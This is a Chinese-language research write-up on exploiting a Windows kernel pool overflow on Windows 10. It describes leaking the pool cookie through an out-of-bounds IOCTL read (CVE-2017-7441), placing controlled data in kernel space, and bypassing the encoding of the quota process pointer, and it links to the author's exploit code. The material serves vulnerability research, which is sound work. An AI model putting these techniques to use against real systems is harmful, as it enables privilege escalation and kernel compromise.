本文是內核池溢出漏洞利用實戰之Windows 7篇的續集,我們將會在Windows 10系統中實現相同漏洞的利用,這將更加充滿挑戰因為微軟公司自從Windows 8后采取了大量針對內核池攻擊的防御措施。本文將更加深入地分析池相關的內容,因此建議讀者先閱讀第一篇文章以作鋪墊。
1.1Windows 8系統的防護措施
Windows 8系統在池中采取了一系列安全改善措施,在這里我不作詳盡的列舉,不過我們可以關注這幾點:
a.真正安全的鏈接/斷開鏈接
b.池索引驗證:池索引覆蓋攻擊早已不是什么難事
c.不執行非分頁池(No-Execute):這是一種新式的非分頁池,可以說是非分頁池的不執行(NX)版,Windows默認使用該類型的池而不是以往的非分頁池
d.SMEP:管理模式執行保護
e.MIN_MAP_ADDR:內存首地址0x1000是保留地址不能被分配,這可以防御空引用類漏洞的攻擊,這種防護已經在Windows 7系統和64位的Vista系統中被攻破
f. NtQuerySystemInformation()缺陷:該缺陷在低完整性場景下(通常是瀏覽器沙箱)不再可以被利用
關于我們利用的配額進程指針覆蓋漏洞說明如下:
a.進程指針目前通過cookie進行了編碼:
1).進程指針在分配塊時進行如下編碼:ExpPoolQuotaCookie 異或 ChunkAddress 異或 ProcessPointer
2).塊空閑時進程指針被用作canary并進行如下編碼:ExpPoolQuotaCookie 異或 ChunkAddress
b.進程指針被解碼后必須指向內核空間否則會觸發異常檢測
如果你想了解詳盡的Windows 8關于這方面的緩解措施你可以讀一下這篇文章[1](Windows 8系統堆內部解析),另外該文作者Tarjei Mandt的另外一篇文章[2](在windows 7系統中利用內核池漏洞)提到的每一種攻擊手法都已經得到了有效緩解。Windows 8系統中確實有通過控制RIP協議來獲取數據的漏洞可利用,但是這些漏洞在Windows 10系統中已經通過在_OBJECT_HEADER中設置cookie的方式被修復。所以如果你想實現利用配額進程指針覆蓋漏洞這種在Windows 7系統中使用過的攻擊手段,我們需要做到:
1)池Cookie(PoolCookie):用它來正確編碼指針
2)溢出塊地址:也需要用它來編碼指針
3)已知地址內核空間的任意數據:我們不僅要正確編碼指針,該指針指向內核空間的同時還要指向我們偽造的一個結構。
讓我們來嘗試一下吧!
二、獲取溢出塊指針
這一部分會很簡短,前提是你還記得Windows 7系統下的基本利用方式池噴射技術,好了,是時候放大招了,我們將采用高級池噴射技術,該技術在這篇文章[3](Windows內核池噴射技術)中有闡述。運用該文中的方法,我們可以預測任何可能的分配行為,當然有了IOCTL的漏洞我們很容易就能知道輸入輸出管理器分配給系統緩沖區(SystemBuffer)的地址,由于系統緩沖區(SystemBuffer)是溢出的,我們溢出的塊在系統緩沖區(SystemBuffer)之后,因此我們可以得到塊地址。注意:我之前提過幾次,NtQuerySystemInformation漏洞在低完整性場景下不可利用,因此我們不能在低完整性層面拿到這個地址而是至少要在中等完整性層面。
三、獲取已知地址內核空間的一些任意數據
有好幾種方式可以實現這個目標,過去很長時間,我都是利用池噴射技術并結合隨機IOCTL系統調用來往空閑的內核空間存放數據,但這種方式并不可靠,從那以后我找到了更加可靠的方法。
CreatePrivateNamespace函數用于在分頁池中分配一個目錄對象,以下是該函數的定義:
HANDLE WINAPI CreatePrivateNamespace(
_In_opt_ LPSECURITY_ATTRIBUTES lpPrivateNamespaceAttributes,
_In_ LPVOID lpBoundaryDescriptor,
_In_ LPCTSTR lpAliasPrefix
);
吸引人眼球的地方:
1)該函數返回一個句柄,這很正常因為這只是一個對象,不過這意味著我們可以在分頁池中獲取該目錄對象的地址。
2)該函數第二個參數是一個邊界描述符,它必須唯一,所以你可以利用CreateBoundaryDescriptor函數創建它:
a.函數定義
HANDLE WINAPI CreateBoundaryDescriptor(
_In_ LPCTSTR Name,
_In_ ULONG Flags
);
b.調用函數后賦值給一個變量,我們姑且起個HelloWorld!
關鍵點來了:邊界描述符名直接存儲在分頁池中的對象中,因此以下代碼
給出了分頁池塊:
《Hello World!》名存儲在對象地址+0x1A8偏移處,看起來對名字沒啥限制:
這里塊大小變成了之前的兩倍大,然而只是用來存儲邊界描述符名!順便提一點,既然該對象的大小可控,它就變成了讓分頁池噴射的強大工具。不管怎樣我們已經能夠往內核空間存放一些任意數據了,并且還可以利用NtQuerySystemInformation漏洞獲取它的地址。
四、獲取池Cookie
氣氛好像一下子緊張起來了。ExpPoolQuotaCookie是由驅動產生的一個指針大小的8字節Cookie(64位系統下),它的熵足夠安全,我們沒有辦法猜測或者計算出它的值。乍看上去唯一獲取池cookie的方式是發現強大但很少見的任意讀取漏洞,于是我研究了ExpPoolQuotaCookie的利用過程。當在進程的配額管理過程中有池塊被利用時,池類型(PoolType)會設置配額位(Quota Bit),并且有一個位于池頭后8個字節(64位系統)的編碼過的指針指向它:
但是在分配塊時問題來了,塊被釋放后它看起來變了:
這里Process Billed值只是池Cookie和塊地址的異或,這個值用于canary來檢測池溢出攻擊,因此如果成功讀取到Process Billed值的話沒準能得到池Cookie!假想有如下攻擊:
1)運用池噴射技術分配一些可控的塊,塊地址已知并且隨時可釋放
2)先釋放其中一個塊
3)然后釋放它前面的塊
4)在之前的兩個塊地址處重新分配一個塊,這可以通過IOCTL漏洞實現,要確保系統緩沖區(SystemBuffer)在這里已經分配
5)即使有了空閑空間和塊的重新分配,前一個池頭也不會重寫,這意味著池Cookie和塊地址的異或值仍然在塊數據中
這里可以假想一個返回的數據多于寫入數據的IOCTL漏洞:帶外讀取漏洞,用最小的一次帶外讀取就可以獲取到池Cookie,因此我們從剛開始的任意讀取轉換成了帶外讀取來獲取池Cookie,這是一種更常見的手段,之所以這么說是因為我在同樣的驅動中發現了帶外讀取漏洞!
4.1關于CVE-2017-7441
以下是編號為0x22E1C0的IOCTL漏洞的偽代碼:
獲取我們的輸入后驅動器在系統緩沖區中調用了RtlLookupElementGenericTableAvl函數,如果該函數執行成功的話,它會在系統緩沖區中通過memcpy指令復制返回值,在復制前會檢查空間大小,因此這次memcpy不存在問題,不過在計算驅動器寫入多少字節時會出錯,多返回2個多余的字節。如果想定位到有漏洞的代碼,函數RtlLookupElementGenericTableAvl必須執行成功并且至少還要能夠控制它返回值的長度,做到這一點的唯一方式是在系統緩沖區中寫入當前進程id,RtlLookupElementGenericTableAvl函數運行正常且將路徑返回到當前進程的可執行文件。或多或少我可以控制可執行文件的路徑長度,Windows下最大路徑長度為255字節。為了獲取8字節的池Cookie需要用4個不同的可執行文件(路徑長度不同)創建4個不同進程來觸發4次該漏洞。
五、結論
至此我們已經完美實現了從Windows 7系統到Windows 10系統的內核池漏洞利用過程,在Windows 10系統下利用池溢出漏洞比在windows 7下只差一個小漏洞的距離。池噴射技術和NtQuerySystemInformation漏洞提供給攻擊者太多內核態的信息,使得攻擊者發動針對池的攻擊依然可靠。你可以在github上找到我利用的代碼。
六、參考文獻
[1] https://media.blackhat.com/bh-us-12/Briefings/Valasek/BH_US_12_Valasek_Windows_8_Heap_Internals_Slides.pdf – Windows 8 Heap internals
[2] http://www.mista.nu/research/MANDT-kernelpool-PAPER.pdf – Kernel Pool Exploitation on Windows 7
[3] http://trackwatch.com/windows-kernel-pool-spraying/ – Pool Spraying article
[4] https://github.com/cbayet/Exploit-CVE-2017-6008 – Source code of the exploit